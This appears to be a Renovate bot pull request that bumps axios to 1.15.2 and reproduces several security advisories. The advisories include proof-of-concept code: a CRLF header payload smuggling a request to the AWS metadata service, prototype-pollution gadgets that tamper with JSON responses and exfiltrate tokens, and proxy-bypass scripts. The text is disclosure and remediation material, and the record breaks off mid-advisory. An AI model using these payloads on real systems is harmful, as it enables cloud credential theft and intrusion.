Skip to content

chore(deps): update dependency axios to v1.15.2 [security]#696

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-axios-vulnerability
Open

chore(deps): update dependency axios to v1.15.2 [security]#696
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-axios-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Apr 12, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.8.41.15.2 age confidence

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";
2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 
3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...
4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis
  • Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
  • Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
  • Cache Poisoning: Can inject Host headers to poison shared caches.
Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});
References
  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.


PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].


Impact

  • Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

  • Attackers controlling request URLs can:

    • Force Axios to send local traffic through an attacker-controlled proxy.
    • Bypass SSRF mitigations relying on NO_PROXY rules.
    • Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

  • Confirmed on Axios 1.12.2 (latest at time of testing).
  • affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

  • Strip trailing dots from hostnames (per RFC 3986).
  • Normalize IPv6 literals by removing brackets for matching.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Header Injection via Prototype Pollution

CVE-2026-42035 / GHSA-6chq-wfr3-2hj9

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js 
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
    headers.set(data.getHeaders());
    // ...
}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data)lib/utils.js

const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && ( 
        (kind = kindOf(thing)) === 'formdata' ||  
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a function
utils.isFunction(data.getHeaders) 
PoC
// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    (.... Introduce here all the headers you want ....)
    return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };

// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete', 
    { userId: 42 },
    { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);
Impact
  • Authentication Bypass (CVSS: C:H)
  • Session Fixation (CVSS: I:H)
  • Privilege Escalation (CVSS: C:H, I:H)
  • IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
-     headers.set(data.getHeaders());
+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&
+            Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {
+     headers.set(data.getHeaders());

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

  1. No constraints — the reviver can return any value (no "must return true" requirement)
  2. Selective modification — individual JSON keys can be changed while others remain untouched
  3. Invisible — the response structure and most values look completely normal
  4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric Value Justification
Attack Vector Network PP is triggered remotely via any vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Within the application process
Confidentiality High The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
Integrity High Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
Availability None No crash, no error — the attack is entirely silent
Comparison with All Known Axios PP Gadgets
Factor GHSA-fvcv-3m26-pcqx (Header Injection) transformResponse proxy (MITM) parseReviver (This)
PP target Object.prototype['header'] Object.prototype.transformResponse Object.prototype.proxy Object.prototype.parseReviver
Fixed by 1.15.0? Yes No No No
Constraints N/A (fixed) Must return true None None
Data modification Header injection only Response replaced with true Full MITM Selective per-key modification
Stealth Request anomaly visible Response becomes true (obvious) Proxy visible in network Completely invisible
Data access Headers only this.auth + raw response All traffic Every JSON key-value pair
Validated? N/A assertOptions validates Not validated Not validated
In defaults? N/A Yes → goes through mergeConfig No → bypasses mergeConfig No → bypasses mergeConfig
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
  1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

  2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

  3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

  4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],
Proof of Concept
import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible
  • Affects every Axios request that receives a JSON response
  • The response structure is intact — only specific values are changed
  • No errors, no crashes, no suspicious behavior
  • Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report PP Target Code Location Fix Location Impact
axios_26 transformResponse mergeConfig.js:49 (defaultToConfig2) mergeConfig.js Credential theft, response replaced with true
axios_30 proxy http.js:670 (direct property access) http.js Full MITM, traffic interception
axios_31 (this) parseReviver defaults/index.js:124 (this.parseReviver) defaults/index.js Selective JSON value tampering + data exfiltration
Why These Are Distinct Vulnerabilities
  1. Different polluted properties: Each targets a different Object.prototype key.
  2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
  3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
  4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.
Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources
Timeline
Date Event
2026-04-16 Vulnerability discovered during source code audit
2026-04-16 PoC developed and verified — selective response tampering confirmed
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE
  • CWE-626: Null Byte Interaction Error (Poison Null Byte)
  • CWE-116: Improper Encoding or Escaping of Output
CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric Value Justification
Attack Vector Network Attacker controls input parameters remotely
Attack Complexity High Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Impact limited to HTTP request URL
Confidentiality None No confidentiality impact
Integrity Low Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability None No availability impact
Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}
Why the Standard Flow Is NOT Affected
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it
Proof of Concept
import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)
Verified PoC Output
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

  • Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
  • Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
  • Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}
Resources
Timeline
Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-16 Report revised: documented standard-flow limitation, corrected CVSS
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking

CVE-2026-42033 / GHSA-pf86-5x62-jrwf

More information

Details

Summary

When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.


Background: how mergeConfig builds the config object

Every axios request goes through Axios._request in lib/core/Axios.js#L76:

config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.


Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #​5926)
Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios._request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const mergeConfig = require('./lib/core/mergeConfig.js').default;
const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;
Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (server_gadget1.mjs):

import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url);
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});

server.listen(19003, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19003');
});
$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /

Terminal 2 -- client (poc_parsereviver.mjs):

import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).
// In a real application this would be set before any axios request runs.
Object.prototype.parseReviver = function (key, value) {
  // Called for every key-value pair in every JSON response parsed by axios in this process.
  if (key !== '') {
    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
    console.log('[exfil]', key, '=', JSON.stringify(value));
  }
  // Tamper: escalate role, inflate balance.
  if (key === 'role') return 'admin';
  if (key === 'balance') return 999999;
  return value;
};

const res = await axios.get('http://127.0.0.1:19003/');
console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;
$ node poc_parsereviver.mjs
[exfil] role = "user"
[exfil] balance = 100
[exfil] token = "tok_real_abc"
[app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"}

The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.


Gadget 2: transport -- full HTTP request hijacking with credentials

Introduced in: early adapter refactor, present across 0.x and 1.x
Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

Root cause

Inside the Node.js http adapter at lib/adapters/http.js#L676:

if (config.transport) {
  transport = config.transport;
}

transport is listed in mergeMap inside mergeConfig (line 88):

transport: defaultToConfig2,

but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.

The fix in v1.13.5 (PR #​7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

  • options.hostname, options.port, options.path -- full target URL
  • options.auth -- basic auth credentials in "username:password" form (set at line 606)
  • options.headers -- all request headers as a plain object
Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (server_gadget2.mjs):

import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"ok":true}');
});

server.listen(19002, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19002');
});
$ node server_gadget2.mjs
[server] listening on 127.0.0.1:19002
[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

